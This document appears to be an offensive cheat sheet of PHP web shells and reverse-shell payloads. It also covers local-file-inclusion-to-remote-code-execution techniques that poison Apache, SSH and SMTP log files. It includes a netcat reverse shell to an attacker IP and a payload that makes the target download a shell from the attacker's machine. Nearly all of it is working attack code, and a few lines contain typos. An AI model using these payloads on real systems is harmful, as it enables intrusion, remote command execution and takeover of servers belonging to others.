<?php system($_GET['c']); ?>
<?php system($_REQUEST['c']$); ?>
<?php
$os = shell_exec('id');
echo "<pre>$os</pre>";
?>
<?php
$os = shell_exec('nc 10.10.10.10 4444 -e /bin/bash');
?>
// Replace IP & Port
Dangerous PHP Functions that can be abused for RCE
<?php
print_r(preg_grep("/^(system|exec|shell_exec|passthru|proc_open|popen|curl_exec|curl_multi_exec|parse_ini_file|show_source)$/", get_defined_functions(TRUE)["internal"]));
?>
LFI to RCE via Apache Log File Poisoning (PHP)
Example URL: http//10.10.10.10/index.php?file=../../../../../../../var/log/apache2/access.log
Payload: curl "http://192.168.8.108/" -H "User-Agent: <?php system(\$_GET['c']); ?>"
Execute RCE: http//10.10.10.10/index.php?file=../../../../../../../var/log/apache2/access.log&c=id
OR
python -m SimpleHTTPServer 9000
Payload: curl "http://<remote_ip>/" -H "User-Agent: <?php file_put_contents('shell.php',file_get_contents('http://<local_ip>:9000/shell-php-rev.php')) ?>"
file_put_contents('shell.php') // What it will be saved locally on the target
file_get_contents('http://<local_ip>:9000/shell-php-rev.php') // Where is the shell on YOUR pc and WHAT is it called
Execute PHP Reverse Shell: http//10.10.10.10/shell.php
LFI to RCE via SSH Log File Poisoning (PHP)
Example URL: http//10.10.10.10/index.php?file=../../../../../../../var/log/auth.log
Payload: ssh <?php system($_GET['c']);?>@<target_ip>
Execute RCE: http//10.10.10.10/index.php?file=../../../../../../../var/log/auth.log&c=id
LFI to RCE via SMTP Log File Poisoning (PHP)
Example URL: http//10.10.10.10/index.php?file=../../../../../../../var/log/mail.log
telnet <target_ip> 25 // Replace with the target IP
MAIL FROM:<toor@gmail.com>
RCPT TO:<?php system($_GET['c']); ?>
Execute RCE: http//10.10.10.10/index.php?file=../../../../../../../var/log/mail.log&c=id